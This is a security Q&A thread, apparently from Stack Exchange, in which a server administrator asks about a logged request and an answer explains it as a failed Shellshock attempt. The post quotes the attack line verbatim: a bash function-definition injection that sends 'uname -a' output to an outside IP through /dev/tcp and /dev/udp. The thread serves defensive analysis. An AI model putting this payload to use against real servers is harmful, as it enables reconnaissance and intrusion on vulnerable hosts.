3

This question already has an answer here:

I just came across this entry on one of my servers:

213.165.70.245 - - [17/Jun/2015:01:58:22 +0200] "GET / HTTP/1.1" 404 442 "() { :;}; /bin/bash -c \"echo 109.234.106.8/  > /dev/tcp/74.208.79.34/21; /bin/uname -a > /dev/tcp/74.208.79.34/21; echo 109.234.106.8/ > /dev/udp/74.208.79.34/21\"" "() { :;}; /bin/bash
-c \"echo 109.234.106.8/  > /dev/tcp/74.208.79.34/21; /bin/uname -a > /dev/tcp/74.208.79.34/21; echo 109.234.106.8/ > /dev/udp/74.208.79.34/21\""

So besides the shell injection which was used, I dont have a idea what attacker tried to do.

Any idea?

marked as duplicate by Stephane, Steve Dodier-Lazaro, RoraΖ, schroeder, tim Jun 17 '15 at 17:25

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

3
  1. As in the first line is it visible, he tried to use the Shellshock security hole of the bash shell.

His idea was probably the following: the Shellschock works by evironment variables, i.e. in some cases the bash would execute an environment variable as a shell function. And apache maps the parameters of the http requests (cookies, query strings, posted arguments, etc) to environment variables.

If there had been a cgi script on your server written in bash and interpreted by an unfixed bash shell, his commands could have been executed.

  1. Later he tried to execute different shell commands. These commands had sent their output on tcp or udp protocol to a server under his control. It is because bash has an internal redirection mechanism to tcp and udp data streams, i.e. files beginning with /dev/tcp/ip/port are mapped to network sockets. It is an internal mechanism of the bash shell.

  2. It was probably not a direct, manual attack, but a robot tracking for vulnerable servers.

  3. The IP addresses he used are probably not his original server(s), but the ones he can already control remotely.

  • 1
    Note that the "404" response means that it didn't work. – Mark Jun 17 '15 at 6:43
  • @Mark Yes, although maybe the were other tries, too, so checking the logs could be a good idea. – peterh Jun 17 '15 at 6:56
  • Thanks, I was aware of the shellshock and saw that it has not work. (2) was the answer I needed, I was not aware that it would work that way via shell :-) Thanks – johestephan Jun 17 '15 at 6:58

Not the answer you're looking for? Browse other questions tagged or ask your own question.